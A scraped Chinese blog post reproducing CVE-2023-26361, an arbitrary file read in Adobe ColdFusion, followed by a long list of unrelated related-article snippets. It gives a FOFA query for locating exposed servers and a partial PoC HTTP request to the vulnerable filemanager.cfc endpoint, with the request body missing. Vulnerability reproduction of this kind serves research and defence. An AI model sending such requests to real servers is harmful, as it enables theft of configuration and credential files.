OidBoy_G
OidBoy_G

Adobe ColdFusion 任意文件读取漏洞复现（CVE-2023-26361）

0x01 产品简介

Adobe ColdFusion是美国奥多比（Adobe）公司的一套快速应用程序开发平台。该平台包括集成开发环境和脚本语言。

0x02 漏洞概述

Adobe ColdFusion平台 filemanager.cfc接口存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 影响范围

Adobe ColdFusion 2018 Update 15

Adobe ColdFusion 2021 Update 5

0x04 复现环境

FOFA：app="Adobe-ColdFusion"

Adobe ColdFusion 任意文件读取漏洞复现（CVE-2023-26361）_第1张图片

0x05 漏洞复现

PoC

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng

你可能感兴趣的:(漏洞复现,adobe,安全,web安全)

  • 深入理解 Spring Boot Actuator 一休哥助手 javaspringboot后端java
    目录什么是SpringBootActuatorSpringBootActuator的主要功能如何在SpringBoot项目中集成Actuator常用的Actuator端点自定义Actuator端点安全性配置
  • Haskell语言的安全开发 慕璃嫣 包罗万象golang开发语言后端
    Haskell语言的安全开发引言在现代软件开发中，安全性已经成为一个不可忽视的重要方面。一方面，随着信息技术的发展，各类网络攻击和安全漏洞层出不穷；另一方面，越来越多的项目要求遵循高安全标准，以保护用户的隐私和数据。在众多编程语言中，Haskell凭借其强大的类型系统和函数式编程模型，提供了许多内置特性来帮助开发者编写安全的代码。本文将深入探讨Haskell语言的安全开发方法，包含其特性、最佳实践
  • 在彼此的根系里呼吸 snow每天都要好好学习 labview
    爱如草木，需以晨露滋养，而非绳索捆缚。一段健康的亲密关系，恰似两株根系相连却各自向阳的树——风起时枝叶相触，晴空下共享光影，却始终保有向地心深处生长的自由。那些纠缠的根须是信任编织的网，容得下沉默的裂隙，也盛得住脆弱的露水。不必剖开每寸土壤证明忠诚，真正的安全感源自对彼此灵魂疆域的尊重：留一扇虚掩的门，而非密不透风的牢笼。语言在此间化作虹桥，悬于情绪的湍流之上。当暮色漫过窗棂，争吵的雷雨袭来，他们
  • 构建高效LLM应用开发架构的关键策略 AI天才研究院 计算机软件编程原理与应用实践javapythonjavascriptkotlingolang架构人工智能大厂程序员硅基计算碳基计算认知计算生物计算深度学习神经网络大数据AIGCAGILLM系统架构设计软件哲学Agent程序员实现财富自由
    文章标题：构建高效LLM应用开发架构的关键策略在当今快速发展的技术世界中，人工智能（AI）已经成为推动创新的核心动力。其中，大型语言模型（LLM）的应用开发尤为引人注目。LLM通过处理和理解自然语言，为各种场景提供了强大的智能解决方案，从智能客服到内容生成，再到教育应用，都有着广泛的应用前景。然而，高效地构建LLM应用开发架构面临着诸多挑战，包括性能、可扩展性和安全性等。本文将深入探讨构建高效LL
  • ArrayList，经典永不过时，掌握设计亮点和面试技巧 java
    1核心知识点底层数据存储结构初始化容量扩容机制线程安全时间复杂度2关键代码分析从add方法开始分析publicbooleanadd(Ee){//步骤1ensureCapacityInternal(size+1);//IncrementsmodCount!!//步骤2elementData[size++]=e;returntrue;}步骤1:确保内部容量充足，走进ensureCapacityInte
  • 【PHP】Laravel 介绍 史上最优雅的 PHP 框架 Ustinian_310 laravelphp
    1.Laravel介绍Laravel是一个开源的PHPWeb应用框架，由TaylorOtwell创建并于2011年6月首次发布。它遵循模型-视图-控制器（MVC）架构模式，旨在简化Web开发的任务，提供了一套丰富的功能，帮助开发者快速构建安全、可扩展的Web应用程序。附注：文末附有Laravel的社区入口，感兴趣的小伙伴可以去社区寻找更多学习资料以下是Laravel的一些主要特点和组件：核心特点M
  • 基于深度学习的行人检测与识别系统：YOLOv5、YOLOv8、YOLOv10与UI界面的实现 2025年数学建模美赛 深度学习YOLOui人工智能分类
    引言行人检测与识别技术作为计算机视觉领域的一个重要应用，广泛应用于智能监控、自动驾驶、公共安全等多个领域。行人检测系统的目标是通过图像或视频中的内容，自动识别并定位行人，这项任务在复杂环境中面临着不同的挑战，如多样的行人姿态、遮挡、光照变化等。近年来，深度学习的进步，尤其是目标检测领域的快速发展，为行人检测提供了强有力的支持。YOLO（YouOnlyLookOnce）系列模型，作为目前目标检测领域
  • 自定义命令执行器：C++中命令封装的深度探索（C/C++实现） 程序猿编码 C/C++c++c语言linuxshell网络安全命令行
    在现代软件开发中，执行系统命令是一项常见的需求，无论是自动化脚本、系统管理工具，还是需要调用外部程序的复杂应用程序，都离不开对系统命令的调用。然而，直接使用系统调用（如execve）虽然简单，但存在诸多问题，例如安全性不足、灵活性差以及可维护性低等。为了克服这些问题，我们可以通过封装命令执行逻辑，设计一个自定义的命令执行器。本文将深入探讨如何在C++中实现一个安全、灵活且易于管理的命令执行器。一、
  • C# 实现 “Hello World” 教程 来恩1003 C#从入门到精通c#java开发语言.NET.net
    .NET学习资料.NET学习资料.NET学习资料C#作为一种广泛应用于.NET开发的编程语言，以其简洁、高效和类型安全等特性，深受开发者喜爱。在踏入C#编程领域时，编写经典的“HelloWorld”程序是重要的起点，它能帮助我们快速熟悉C#的开发流程与基本语法。下面，就让我们一同开启C#的“HelloWorld”之旅。一、开发环境搭建要编写C#程序，首先需要安装合适的开发环境。微软官方提供的Vis
  • wifi模块 服务器通讯协议,模块之间通信协议 高杉峻 wifi模块服务器通讯协议
    模块之间通信协议内容精选换一换IEC61499是分布式工业测量，控制和监控系统的功能块标准，既然它是面向工业测量和控制的系统，对系统的确定性(Deterministic)要求必然也比较高。确定性又是安全性的前提。保证系统的确定性的两个重要措施是保证系统的实时性和同步性。分布式系统结构又进一步增加了实现确定性的难来自：博客网络编程一、网络编程基础python的网络编程模块主要支持两种Internet
  • C++ DLL注入原理以及示例 编程砖家 c++DLL注入注入原理windows动态库注入
    0、前言0.1什么是DLL注入DLL（动态链接库）注入是一种技术，通过将外部的DLL文件强行加载到目标进程的地址空间中，使得外部代码可以执行。这种技术常用于修改或扩展应用程序的行为，甚至用于恶意攻击。0.2DLL注入的应用场景通过DLL注入可以改变程序原来的一些行为，比如安全方面可以阻止某些程序打开，游戏方面通过外挂进行游戏作弊等。通常应用在以下场景：0.2.1.调试和逆向工程逆向工程：开发者可以
  • Python Flask框架 Taopad PYthonwebflaskpython
    PythonFlask框架Flask框架简介安装过程Falsk程序的运行过程基本语法/结构如有错误，请指正Flask框架简介Flask是一个轻量级的可定制框架，使用Python语言编写，较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发，开发人员分工合作，小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外，Flask还有很强的定制性，用户可以根
  • U504405 破译诸葛亮的密码箱 qystca c语言算法数据结构链表图论深度优先c++
    题目背景在《三国演义》中，诸葛亮以其卓越的智慧和深思熟虑的战略而著称。某日，诸葛亮在蜀汉准备重要军事行动时，为了确保信息安全，他将一份机密文件放到一个密码箱里面，并设置了一道谜题，只有解出谜题才能知道密码。题目描述诸葛亮有一棵有n个顶点的树。初始时，所有顶点都是白色的。树上有两颗棋子，分别叫做PA和PB。PA和PB最初分别位于顶点a和b。在一个步骤中，诸葛亮将依次执行以下操作：将PA移动到相邻顶点
  • 深入解析：WinRAR与WinZip的全面对比 夜色呦 winrar
    在数字时代，文件压缩工具已成为我们日常工作和生活中不可或缺的一部分。当我们谈论压缩软件时，WinRAR和WinZip是两个最常被提及的名字。尽管它们都提供了压缩和解压文件的功能，但它们之间存在一些关键的差异。本文将深入探讨WinRAR和WinZip的主要区别，包括它们的压缩技术、用户界面、兼容性、安全性、附加功能以及成本效益等方面。1.压缩技术WinRAR和WinZip使用不同的压缩算法。WinR
  • 2025年最新推荐的5款堡垒机，打造安全网络防线，秒收藏！ wljslmz 网络技术网络安全堡垒机
    随着网络安全威胁的日益严峻，堡垒机（BastionHost）作为一种加强远程访问安全管理的重要工具，越来越受到企业和组织的关注。它不仅可以有效防止外部攻击、减少安全风险，还能够提升企业内部操作的效率与合规性。特别是随着技术的不断发展和更新，2025年最新的堡垒机产品在安全性、稳定性、易用性等方面都有了极大的提升。那么，哪些堡垒机值得关注？接下来，我们就为大家详细介绍2025年最新推荐的5款堡垒机，
  • grub 2.0安全启动校验镜像逻辑 inquisiter linux数据库运维
    grub2.0安全启动校验镜像逻辑grub中会使用验证器来校验镜像的正确性。在GNUGRUB中，一旦你注册了你的验证器，它将自动用于所有打开的文件。这是一个基本的步骤来使用你的验证器：注册验证器：首先，你需要使用grub_verifier_register函数来注册你的验证器。这通常在你的模块的初始化函数中完成。打开文件：当你打开一个文件时，GRUB会自动调用你的验证器。这是通过grub_file
  • 使用大语言模型在表格化网络安全数据中进行高效异常检测 C7211BA 语言模型web安全人工智能
    论文链接Efficientanomalydetectionintabularcybersecuritydatausinglargelanguagemodels论文主要内容这篇论文介绍了一种基于大语言模型（LLMs）的创新方法，用于表格网络安全数据中的异常检测，称为“基于引导式提示的表格异常检测”（TabularAnomalyDetectionviaGuidedPrompts，简称TAD-GP）。该
  • 19、智能驾驶信息安全要求 OEM的牛马DRE 智能驾驶控制器硬件介绍网络服务器运维人工智能
    信息安全要求：1.不应存在后门或隐蔽接口要求：系统或设备的设计、开发和生产过程中，应确保不存在任何未经授权或未公开的接口（即后门或隐蔽接口）。这些接口可能会被恶意用户或攻击者利用，绕过正常的安全机制，对系统或设备造成损害或窃取敏感信息。建议：在系统或设备的设计阶段，应进行全面的安全审查，确保所有接口都是明确且文档化的。在开发和测试过程中，应使用专业的安全工具和技术来检测和识别任何潜在的后门或隐蔽接
  • 【Numpy核心编程攻略：Python数据处理、分析详解与科学计算】1.29 内存奥秘：跨语言内存管理实战 精通代码大仙 numpypythonnumpypython开发语言
    1.29内存奥秘：跨语言内存管理实战目录内存奥秘：跨语言内存管理实战Cython内存视图高级用法与C++共享内存的案例使用tracemalloc调试内存泄漏SIMD指令的内存对齐自定义内存分配器内存映射的原子操作非对齐内存访问的性能影响优化非对齐内存访问的方法共享内存的安全性和效率内存管理的最佳实践1.29.1Cython内存视图高级用法1.29.2与C++共享内存的案例1.29.3使用trace
  • 大数据“超能力”：数据安全和隐私该如何保障？ 大数据在线 云静思园大数据数据安全数据隐私英特尔
    一人人都喜欢超级英雄。不论是超人还是钢铁侠，又或者是小蜘蛛和绿巨人，几乎每一个超级英雄漫画及电影的粉丝，都曾为其不公遭遇打抱不平：“他们明明是在用超能力做好事，拯救人类的，为什么电影里的政府和平民会这么蠢，总对他们缺乏信任，满是提防。”这就是所谓的“叶公好龙”了，因为当你身边真出现了个能把卡车当皮球一样抛来抛去的人时，你的反应恐怕也好不到哪儿去，可能也巴不得有政府出面，逼他接受《超级英雄注册法案》
  • 鸿蒙应用实战接入微信支付API James吖 harmonyos微信华为
    引言随着鸿蒙系统的普及和发展，越来越多的应用选择在其平台上部署。为了提升用户体验，开发者常常需要集成支付功能。微信支付作为国内主流的支付方式之一，其便捷性和安全性受到了广大用户的青睐。本文将详细介绍如何在鸿蒙应用中实现微信支付功能，帮助开发者快速上手。前提条件在开始之前，请确保你已经具备以下条件：已经创建了鸿蒙应用。在微信支付平台上注册并创建了商户账户，获取到了AppID、MCH_ID和API密钥
  • Linux内核中的页面错误处理机制与按需分页技术 109702008 #linux系统编程#linux内核linux人工智能c语言
    在现代操作系统中，内存管理是核心功能之一，而页面错误（PageFault）处理机制是内存管理的重要组成部分。当程序访问一个尚未映射到物理内存的虚拟地址时，CPU会触发页面错误异常，内核需要捕获并处理这种异常，以决定如何响应，例如加载缺失的页面、处理权限错误等。Linux内核通过一系列复杂的函数和机制来处理这些页面错误，确保系统的稳定性和安全性。本文将详细分析Linux内核中处理页面错误的核心机制，
  • Go 不可重复协程安全队列 寻找优秀的自己 golang队列
    代码实现packagedataStructimport("errors""sync")//GenericQueue是一个支持泛型的不可重复队列，具有最大长度限制//T是泛型参数typeGenericQueue[Tcomparable]struct{itemsmap[T]struct{}//使用map来存储元素order[]T//使用切片来记录元素的顺序locksync.RWMutex//读写锁，保
  • InnoDB 存储引擎 898178 数据库入门数据库
    InnoDB存储引擎InnoDB是事务型数据库的首选引擎，支持事务安全表（ACID），支持行锁定和外键。MYSQL5.5.5之后，InnoDB作为默认存储引擎。InnoDB的主要特性有一下几项。A.InnoDB给MYSQL提供了具有提交、回滚和崩溃恢复能力的事务安全（ACID兼容)存储引擎。InnoDB锁定在行级并且也在SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署
  • 替代传统汽车行业FTP传输方式，实现数字化重大转型 镭速 镭速FTP替代FTP升级网络
    在当今快速发展的数字化时代，汽车行业的竞争日益激烈。为了在这个充满挑战的市场中保持竞争力，企业需要不断优化其内部流程和技术基础设施。其中，文件传输作为信息交流的重要环节，对企业的效率和安全性有着至关重要的影响。然而，传统的FTP（文件传输协议）传输方式在汽车行业中的应用正面临着前所未有的挑战。本文将探讨传统FTP传输方式在汽车行业中的局限性，并介绍镭速FTP替代升级方案如何帮助企业实现数字化的重大
  • 前端的核心技术 善良的小乔 前端
    前端开发的核心技术主要围绕HTML、CSS、JavaScript三大基础语言展开，同时结合现代前端开发的需求，还包括前端框架、构建工具、前端安全和性能优化等内容。下面，我们详细解析前端开发中的核心技术。一.HTML（超文本标记语言）详解HTML（HyperTextMarkupLanguage）是前端开发的基础，用于构建网页的结构。HTML由各种标签（Tag）组成，每个标签都有不同的作用，主要用于定
  • 强化学习：在无人驾驶中的应用 AI天才研究院 AI大模型企业级应用开发实战大数据AI人工智能计算计算科学神经计算深度学习神经网络大数据人工智能大型语言模型AIAGILLMJavaPython架构设计AgentRPA
    强化学习：在无人驾驶中的应用作者：禅与计算机程序设计艺术/ZenandtheArtofComputerProgramming1.背景介绍1.1问题的由来随着科技的飞速发展，无人驾驶技术逐渐成为汽车工业和人工智能领域的热点。无人驾驶汽车被认为是未来交通系统的重要组成部分，它能够提高道路安全性、缓解交通拥堵、降低环境污染等。然而，实现无人驾驶面临着诸多挑战，其中最为关键的是如何让汽车在复杂多变的交通环
  • 基于强化学习的自动驾驶决策规划算法 AI天才研究院 LLM大模型落地实战指南AI大模型应用入门实战与进阶计算科学神经计算深度学习神经网络大数据人工智能大型语言模型AIAGILLMJavaPython架构设计AgentRPA
    基于强化学习的自动驾驶决策规划算法作者：禅与计算机程序设计艺术1.背景介绍自动驾驶技术是当前人工智能领域最受关注和投入的方向之一。自动驾驶汽车需要在复杂多变的交通环境中做出安全、舒适和高效的决策和行动。传统基于规则和模型的决策规划方法已经难以满足自动驾驶的需求。近年来,基于强化学习的决策规划算法越来越受到关注,它能够在复杂动态环境中学习出高效的决策策略。2.核心概念与联系强化学习是一种通过与环境的
  • [0157]基于JAVA的井下瓦斯及灾害预警智慧管理系统的设计与实现 阿鑫学长【毕设工场】 java开发语言毕业设计课程设计
    毕业设计（论文）开题报告表姓名学院专业班级题目基于JAVA的井下瓦斯及灾害预警智慧管理系统的设计与实现指导老师（一）选题的背景和意义选题背景与意义：随着我国煤炭工业的持续发展，井下安全生产问题特别是瓦斯灾害防治成为制约煤矿高效、安全运营的关键环节。据统计数据显示，瓦斯爆炸事故在各类煤矿安全事故中占据较高比例，严重威胁矿工生命安全和煤矿生产秩序。因此，实现对井下瓦斯浓度的实时监测、智能预警以及高效的
  • Python的加密与解密_pyarmor解码 2401_84584583 程序员python网络安全
    随着信息化和数字化社会的发展，人们对信息安全和保密的重要性认识不断提高，于是在1997年，美国国家标准局公布实施了“美国数据加密标准（DES）”，民间力量开始全面介入密码学的研究和应用中，采用的加密算法有DES、RSA、SHA等。随着对加密强度需求的不断提高，近期又出现了AES、ECC等。使用密码学可以达到以下目的：保密性：防止用户的标识或数据被读取。数据完整性：防止数据被更改。身份验证：确保数据
  • sql统计相同项个数并按名次显示 朱辉辉33 javaoracle
    现在有如下这样一个表： A表 ID Name time ------------------------------ 0001 aaa 2006-11-18 0002 ccc 2006-11-18 0003 eee 2006-11-18 0004 aaa 2006-11-18 0005 eee 2006-11-18 0004 aaa 2006-11-18 0002 ccc 20
  • Android+Jquery Mobile学习系列-目录 白糖_ JQuery Mobile
    最近在研究学习基于Android的移动应用开发，准备给家里人做一个应用程序用用。向公司手机移动团队咨询了下，觉得使用Android的WebView上手最快，因为WebView等于是一个内置浏览器，可以基于html页面开发，不用去学习Android自带的七七八八的控件。然后加上Jquery mobile的样式渲染和事件等，就能非常方便的做动态应用了。   从现在起，往后一段时间，我打算
  • 如何给线程池命名 daysinsun 线程池
            在系统运行后，在线程快照里总是看到线程池的名字为pool-xx，这样导致很不好定位，怎么给线程池一个有意义的名字呢。参照ThreadPoolExecutor类的ThreadFactory，自己实现ThreadFactory接口，重写newThread方法即可。参考代码如下：     public class Named
  • IE 中"HTML Parsing Error:Unable to modify the parent container element before the 周凡杨 html解析errorreadyState
      错误： IE 中"HTML Parsing Error:Unable to modify the parent container element before the child element is closed"     现象： 同事之间几个IE 测试情况下，有的报这个错，有的不报。经查询资料后，可归纳以下原因。
  • java上传 g21121 java
    我们在做web项目中通常会遇到上传文件的情况，用struts等框架的会直接用的自带的标签和组件，今天说的是利用servlet来完成上传。 我们这里利用到commons-fileupload组件，相关jar包可以取apache官网下载：http://commons.apache.org/ 下面是servlet的代码： //定义一个磁盘文件工厂 DiskFileItemFactory fact
  • SpringMVC配置学习 510888780 springmvc
    spring MVC配置详解 现在主流的Web MVC框架除了Struts这个主力 外，其次就是Spring MVC了，因此这也是作为一名程序员需要掌握的主流框架，框架选择多了，应对多变的需求和业务时，可实行的方案自然就多了。不过要想灵活运用Spring MVC来应对大多数的Web开发，就必须要掌握它的配置及原理。 　　一、Spring MVC环境搭建：（Spring 2.5.6 + Hi
  • spring mvc-jfreeChart 柱图(1) 布衣凌宇 jfreechart
    第一步：下载jfreeChart包，注意是jfreeChart文件lib目录下的，jcommon-1.0.23.jar和jfreechart-1.0.19.jar两个包即可； 第二步：配置web.xml; web.xml代码如下 <servlet>     <servlet-name>jfreechart</servlet-nam
  • 我的spring学习笔记13-容器扩展点之PropertyPlaceholderConfigurer aijuans Spring3
    PropertyPlaceholderConfigurer是个bean工厂后置处理器的实现，也就是BeanFactoryPostProcessor接口的一个实现。关于BeanFactoryPostProcessor和BeanPostProcessor类似。我会在其他地方介绍。PropertyPlaceholderConfigurer可以将上下文（配置文件）中的属性值放在另一个单独的标准java P
  • java 线程池使用 Runnable&Callable&Future antlove javathreadRunnablecallablefuture
    1. 创建线程池 ExecutorService executorService = Executors.newCachedThreadPool();   2. 执行一次线程，调用Runnable接口实现 Future<?> future = executorService.submit(new DefaultRunnable()); System.out.prin
  • XML语法元素结构的总结 百合不是茶 xml树结构
    1.XML介绍1969年   gml (主要目的是要在不同的机器进行通信的数据规范)1985年   sgml  standard generralized markup language1993年   html(www网)1998年  xml   extensible markup language
  • 改变eclipse编码格式 bijian1013 eclipse编码格式
    1.改变整个工作空间的编码格式         改变整个工作空间的编码格式，这样以后新建的文件也是新设置的编码格式。         Eclipse->window->preferences->General->workspace-
  • javascript中return的设计缺陷 bijian1013 JavaScriptAngularJS
    代码1： <script> var gisService = (function(window) { return { name:function () { alert(1); } }; })(this); gisService.name(); &l
  • 【持久化框架MyBatis3八】Spring集成MyBatis3 bit1129 Mybatis3
    pom.xml配置 Maven的pom中主要包括： MyBatis MyBatis-Spring Spring MySQL-Connector-Java Druid applicationContext.xml配置   <?xml version="1.0" encoding="UTF-8"?> &
  • java web项目启动时自动加载自定义properties文件 bitray javaWeb监听器相对路径
    创建一个类 public class ContextInitListener implements ServletContextListener 使得该类成为一个监听器。用于监听整个容器生命周期的，主要是初始化和销毁的。 类创建后要在web.xml配置文件中增加一个简单的监听器配置，即刚才我们定义的类。 <listener> <des
  • 用nginx区分文件大小做出不同响应 ronin47
    昨晚和前21v的同事聊天，说到我离职后一些技术上的更新。其中有个给某大客户(游戏下载类)的特殊需求设计，因为文件大小差距很大——估计是大版本和补丁的区别——又走的是同一个域名，而squid在响应比较大的文件时，尤其是初次下载的时候，性能比较差，所以拆成两组服务器，squid服务于较小的文件，通过pull方式从peer层获取，nginx服务于较大的文件，通过push方式由peer层分发同步。外部发布
  • java-67-扑克牌的顺子.从扑克牌中随机抽5张牌，判断是不是一个顺子，即这5张牌是不是连续的.2-10为数字本身，A为1，J为11，Q为12，K为13，而大 bylijinnan java
    package com.ljn.base; import java.util.Arrays; import java.util.Random; public class ContinuousPoker { /** * Q67 扑克牌的顺子 从扑克牌中随机抽5张牌，判断是不是一个顺子，即这5张牌是不是连续的。 * 2-10为数字本身，A为1，J为1
  • 翟鸿燊老师语录 ccii 翟鸿燊
    一、国学应用智慧TAT之亮剑精神A 1. 角色就是人格     就像你一回家的时候，你一进屋里面，你已经是儿子，是姑娘啦，给老爸老妈倒怀水吧，你还觉得你是老总呢？还拿派呢？就像今天一样，你们往这儿一坐，你们之间是什么，同学，是朋友。     还有下属最忌讳的就是领导向他询问情况的时候，什么我不知道，我不清楚，该你知道的你凭什么不知道
  • [光速与宇宙]进行光速飞行的一些问题 comsci 问题
         在人类整体进入宇宙时代，即将开展深空宇宙探索之前，我有几个猜想想告诉大家     仅仅是猜想。。。未经官方证实      1：要在宇宙中进行光速飞行，必须首先获得宇宙中的航行通行证，而这个航行通行证并不是我们平常认为的那种带钢印的证书，是什么呢？ 下面我来告诉
  • oracle undo解析 cwqcwqmax9 oracle
    oracle undo解析2012-09-24 09:02:01     我来说两句       作者：虫师收藏    我要投稿 Undo是干嘛用的？         &nb
  • java中各种集合的详细介绍 dashuaifu java集合
    一，java中各种集合的关系图 Collection       接口的接口     对象的集合  ├ List           子接口   &n
  • 卸载windows服务的方法 dcj3sjt126com windowsservice
    卸载Windows服务的方法 在Windows中，有一类程序称为服务，在操作系统内核加载完成后就开始加载。这里程序往往运行在操作系统的底层，因此资源占用比较大、执行效率比较高，比较有代表性的就是杀毒软件。但是一旦因为特殊原因不能正确卸载这些程序了，其加载在Windows内的服务就不容易删除了。即便是删除注册表中的相 应项目，虽然不启动了，但是系统中仍然存在此项服务，只是没有加载而已。如果安装其他
  • Warning: The Copy Bundle Resources build phase contains this target's Info.plist dcj3sjt126com iosxcode
        http://developer.apple.com/iphone/library/qa/qa2009/qa1649.html Excerpt: You are getting this warning because you probably added your Info.plist file to your Copy Bundle
  • 2014之C++学习笔记（一） Etwo C++EtwoEtwoiterator迭代器
            已经有很长一段时间没有写博客了，可能大家已经淡忘了Etwo这个人的存在，这一年多以来，本人从事了AS的相关开发工作，但最近一段时间，AS在天朝的没落，相信有很多码农也都清楚，现在的页游基本上达到饱和，手机上的游戏基本被unity3D与cocos占据，AS基本没有容身之处。so。。。最近我并不打算直接转型
  • js跨越获取数据问题记录 haifengwuch jsonpjsonAjax
    js的跨越问题，普通的ajax无法获取服务器返回的值。   第一种解决方案，通过getson，后台配合方式，实现。 Java后台代码： protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String ca
  • 蓝色jQuery导航条 ini JavaScripthtmljqueryWebhtml5
    效果体验：http://keleyi.com/keleyi/phtml/jqtexiao/39.htmHTML文件代码： <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>jQuery鼠标悬停上下滑动导航条 - 柯乐义<
  • linux部署jdk,tomcat,mysql kerryg jdktomcatlinuxmysql
    1、安装java环境jdk:     一般系统都会默认自带的JDK,但是不太好用，都会卸载了，然后重新安装。    1.1）、卸载：      （rpm -qa :查询已经安装哪些软件包；        rmp -q 软件包：查询指定包是否已
  • DOMContentLoaded VS onload VS onreadystatechange mutongwu jqueryjs
    1. DOMContentLoaded 在页面html、script、style加载完毕即可触发，无需等待所有资源（image/iframe）加载完毕。（IE9+） 2. onload是最早支持的事件，要求所有资源加载完毕触发。 3. onreadystatechange 开始在IE引入，后来其它浏览器也有一定的实现。涉及以下 document , applet, embed, fra
  • sql批量插入数据 qifeifei 批量插入
    hi，   自己在做工程的时候，遇到批量插入数据的数据修复场景。我的思路是在插入前准备一个临时表，临时表的整理就看当时的选择条件了，临时表就是要插入的数据集，最后再批量插入到数据库中。    WITH tempT AS ( SELECT item_id AS combo_id, item_id, now() AS create_date FROM a
  • log4j打印日志文件 如何实现相对路径到 项目工程下 thinkfreer Weblog4j应用服务器日志
    最近为了实现统计一个网站的访问量，记录用户的登录信息，以方便站长实时了解自己网站的访问情况，选择了Apache 的log4j,但是在选择相对路径那块 卡主了，X度了好多方法(其实大多都是一样的内用，还一个字都不差的)，都没有能解决问题，无奈搞了2天终于解决了，与大家分享一下 需求： 用户登录该网站时，把用户的登录名,ip,时间。统计到一个txt文档里，以方便其他系统调用此txt。项目名
  • linux下mysql-5.6.23.tar.gz安装与配置 笑我痴狂 mysqllinuxunix
    1.卸载系统默认的mysql [root@localhost ~]# rpm -qa | grep mysql mysql-libs-5.1.66-2.el6_3.x86_64 mysql-devel-5.1.66-2.el6_3.x86_64 mysql-5.1.66-2.el6_3.x86_64 [root@localhost ~]# rpm -e mysql-libs-5.1
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他